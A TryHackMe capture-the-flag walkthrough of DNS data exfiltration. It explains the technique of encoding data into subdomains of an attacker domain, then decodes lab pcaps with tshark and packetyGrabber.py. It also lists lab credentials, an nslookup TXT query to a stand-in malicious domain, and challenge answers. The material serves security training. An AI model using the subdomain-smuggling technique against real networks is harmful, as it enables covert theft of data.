TryHackMe DNS Manipulation Walkthrough: DNS Data Exfiltration

Room Info

• Platform: TryHackMe
• Difficulty: Easy
• Room link: https://tryhackme.com/room/dnsmanipulation
• Note: For the Infiltration part, I ran into some issues, so I referenced someone else's writeup.

nslookup -type=txt code.badbaddoma.in
Server:         10.201.0.2
Address:        10.201.0.2#53

** server can't find code.badbaddoma.in: NXDOMAIN

[THM] DNS Manipulation (Manipulating DNS to Exfiltrate Data) - Study Notes - Hekeatsll - Cnblogs

TryHackMe room link for this article: https://tryhackme.com/room/dnsmanipulation. What this article covers: an introduction to several DNS-based data exfiltration techniques, including data exfiltration and data infiltration. Introduction: In this article, we examine the DNS service and take a brief look at some techniques used to exfiltrate and infiltrate data against a target machine. First, we

CnblogsHekeatsll

Environment Setup

Connecting to the Target Machine

ssh [email protected]
# password: P@ssword01

Tool Preparation

# The required tools are pre-installed on the target machine
cd ~/dns-exfil-infil/
ls -la

# Main tools
packety.py          # DNS exfiltration sender
packetyGrabber.py   # DNS exfiltration receiver / decoder tool

Theory

How DNS Exfiltration Works

DNS data exfiltration abuses DNS queries to smuggle data out:

Normal DNS query:
google.com → look up IP

Malicious DNS query (data exfiltration):
[encoded data].attacker.com → embed data into the subdomain

Why does it work?

✅ DNS is an essential service and can't simply be blocked
✅ Port 53 is usually allowed
✅ It blends in with normal traffic and is hard to detect
✅ It can encode large amounts of data

Challenge 1: orderlist

Goal

Decode the order data that was exfiltrated.

Step 1: Read the Task

cd ~/challenges/exfiltration/orderlist/
cat TASK

Step 2: Analyze the DNS Queries

# View all DNS queries
tshark -r order.pcap -T fields -e dns.qry.name

# Count and sort them
tshark -r order.pcap -T fields -e dns.qry.name | sort | uniq -c | sort -nr

Suspicious domain found:

badbaddoma.in

Tons of random subdomains:
├─ uggjU4KyhVyWxVwUo6opxqj.badbaddoma.in
├─ u1YfpFPK9dUeX31JdGGdzpm.badbaddoma.in
└─ ... (and more)

Step 3: Decode the Data

python3 ~/dns-exfil-infil/packetyGrabber.py

# Input:
File captured: order.pcap
Filename output: decoded.txt
Domain Name: badbaddoma.in

Step 4: View the Decoded Result

cat decoded.txt

Output:

DATE    ORDER-ID        TRANSACTION     PRICE      CODE
01-06      1            Network Equip.  $2349.99    -
01-09      2            Software Licen. $1293.49    -
01-11      3            Physical Secur. $7432.79    -
02-06      4            SENT TO #1056.. $15040.23   -
02-06      5            1M THM VOUCHER  $10        zSiSeC
02-06      6            Firewall        $2500

Answers

1. Transaction name of ORDER-ID 1: Network Equip.
2. Price of the Firewall: 2500

Challenge 2: identify

Goal

Out of three pcap files, find the one that contains suspicious DNS queries.

Step 1: Read the Task

cd ~/challenges/exfiltration/identify/
cat TASK
ls -la

Available files:

cap1.pcap
cap2.pcap
cap3.pcap

Step 2: Analyze Each File

# Check cap1.pcap
tshark -r cap1.pcap -T fields -e dns.qry.name | sort | uniq -c | sort -nr

# Check cap2.pcap
tshark -r cap2.pcap -T fields -e dns.qry.name | sort | uniq -c | sort -nr

# Check cap3.pcap
tshark -r cap3.pcap -T fields -e dns.qry.name | sort | uniq -c | sort -nr

Finding:

cap3.pcap contains a large number of badbaddoma.in queries
└─ Same random-subdomain pattern as orderlist

Step 3: Decode cap3.pcap

python3 ~/dns-exfil-infil/packetyGrabber.py

# Input:
File captured: cap3.pcap
Filename output: decoded2.txt
Domain Name: badbaddoma.in

Step 4: View the Result

cat decoded2.txt

Output:

administrator:s3cre7P@ssword

Answers

3. File containing the suspicious DNS queries: cap3.pcap
4. Decoded plaintext: administrator:s3cre7P@ssword

Technical Summary

How packetyGrabber.py Works

Step 1: Extract DNS queries from the .pcap
└─ Filter for queries to the specified domain

Step 2: Extract the subdomain
└─ uggjU4KyhVyWxVwUo6opxqj.badbaddoma.in
    └───────┬────────┘
        encoded data

Step 3: Strip the obfuscation characters
└─ Fake characters at the front and back need to be removed

Step 4: Base58 decode
└─ Recover the Base64 string

Step 5: Base64 decode
└─ Recover the original data

Step 6: Write to a file

Lessons Learned

About packetyGrabber.py

• Author: kleosdc
• Source: https://github.com/kleosdc/dns-exfil-infil
• Purpose: An educational DNS exfiltration decoding tool
• Features:
  • Extracts DNS queries from a pcap
  • Double Base58/Base64 decoding
  • Automatically reassembles split data

Note: The Exception at the end is normal and can be ignored.